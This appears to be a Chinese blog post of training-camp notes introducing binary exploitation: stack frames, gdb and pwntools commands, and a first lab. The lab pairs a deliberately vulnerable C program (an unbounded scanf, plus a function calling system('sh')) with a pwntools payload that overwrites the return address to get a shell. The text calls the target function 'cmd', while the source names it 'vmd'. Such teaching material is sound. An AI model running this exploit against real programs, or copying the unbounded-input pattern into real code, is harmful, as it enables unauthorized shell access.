Fork me on GitHub

集训第七天:初次接触PWN

梅翔学长今天帮助我们初次接触PWN。

PWN底层基础的原理

栈帧平衡

一些基本内容:

ESP:栈指针寄存器,存放一个指针,该指针永远指向系统栈最上面的栈帧的栈顶

EBP:基址指针寄存器,该指针永远指向系统栈最上面的栈帧的底部
函数栈帧:ESP和EBP之间内存空间为当前栈帧

在函数栈帧中一般包含以下几种信息:

局部变量:为函数举报变量开辟的内存空间

栈帧状态值:保存前栈帧的顶部和底部(实际上只保存前栈帧的底部,前栈帧的顶部可以通过堆栈平衡得到)

函数返回地址:保存当前函数调用前的“断点”信息,也就是函数调用前的指令位置

如何保证栈帧平衡:

PUSH EBP // 将栈底指针存入栈,即保存当前栈帧状态值

MOV EBP,ESP // 将栈顶的值赋给栈底,即讲当前栈帧切换到新栈帧

XXXXXX // 函数中间部分

MOV ESP,EBP // 将栈底的值赋给栈顶,即降低栈顶,回首当前栈帧空间

POP EBP // 弹出栈底指针,即将当前栈帧底部保存的前栈帧值弹出,恢复出上一个栈帧

调用函数后,会先保留旧的栈帧并建立新的栈帧(这里栈底在上,栈顶在下)

函数返回的步骤:

1:保存返回值,通常将函数的返回值保存在寄存器EAX中。

2:弹出当前帧,恢复上一个栈帧。具体包括:<1> 在堆栈平衡的基础上,给ESP加上栈帧的大小,降低栈顶,回收当前栈帧的空间。<2> 将当前栈帧底部保存的前栈帧EBP值弹入EBP寄存器,恢复出上一个栈帧。<3> 将函数返回地址弹给EIP寄存器。

3:跳转:按照函数返回地址跳回母函数中继续执行。

每次调用一个函数都会新增一个栈帧(这里栈底在下,栈顶在上)

PS:栈的守护天使——GS,也称作Stack Canary/Cookie

调用函数(Call)

CALL可以化为两部分,即Push retaddr + Jump。先讲函数返回的地址入栈,再跳转到函数执行的位置处。

返回值(Ret)

RET也可以转化为两部分,即Pop retaddr + Jump。先是把返回值的地址出栈,再跳转回原本调用函数处。

缓冲区溢出(Buffer Overflow)

缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容,从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。 缓冲区溢出原指当某个数据超过了处理程序限制的范围时,程序出现的异常操作。

尤其是C语言,不像其他一些高级语言会自动进行数组或者指针的边界检查,增加溢出风险。C语言中的C标准库还具有一些非常危险的操作函数,使用不当也为溢出创造条件。

Linux下的Pwn常用命令

cd:进入文件夹

ls:列出当前目录下的所有文件

mkdir:
创建文件夹

pwd:
显示当前所在目录

chmod:
改变文件使用权限

objdump:
查看目标文件或者可执行的目标文件的构成

gdb:
使用gdb进行调试

checksec:
检测二进制的保护机制是否开启(peda中的命令)

gdb基本命令

start:
开始调试

pattc:
生成规律字符串

patto:
查找字符串

q:
退出

n:
执行一行源代码但不进入函数内部

ni:
执行一行汇编代码但不进入函数内部

s:
执行一行源代码而且进入函数内部

si:
执行一行汇编代码而且进入函数内部

c:
继续执行到下一个断点

b:
下断点

stack:
显示栈信息

x:
按十六进制格式显示内存数据

r:
运行代码

Pwntools基本函数

sendline():
向目标发送一行字符串

interactive():
实现和程序之间的交互

remote():
远程连接

context():
设置运行时变量

p32()/p64():
把整数转化为32/64位的字符串

u32()/u64():
把32/64位字符串转化成整数

asm()/disasm():
快速汇编/反汇编

log():
输出消息

Pwn的第一次练习

p1

程序源码:

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void vmd()

{

system("sh");

}

void A()

{

char a[100];
scanf("%s",a);
return;

}

int main(){

A();

}

输入gcc p1.c -o p1 -m32,用来编译32位的程序。

直接覆盖返回地址

根据源文件可以判断该程序调用A()函数时,在scanf中没有对字符串的长度做限制,即存在缓冲区溢出。

根据源码,本题的思路应该为通过缓冲区溢出,将RET处的地址修改为cmd()函数的地址,直接跳转到该函数后getshell。故先通过objdump命令寻找到cmd函数的地址

找到cmd函数的地址

然后输入gdb p1进入gdb调试界面。start开始调试程序。

自上而下分别为寄存器、代码段、栈段

单步进入A()

单步执行到scanf后,用pattc命令构造出一段较长的字符

继续单步执行,程序报错返回RET处的地址

使用patto命令查找得到偏移量

已知偏移量为112后,容易知道可以直接通过溢出在RET处覆盖原本的地址,直接跳至cmd()函数处。

payload如下:

from pwn import *

payload = “A” * 112 + “\x6b\x84\x04\x08”

p = process(“./p1”)

p.sendline(payload)

p.interactive()

本站访客数: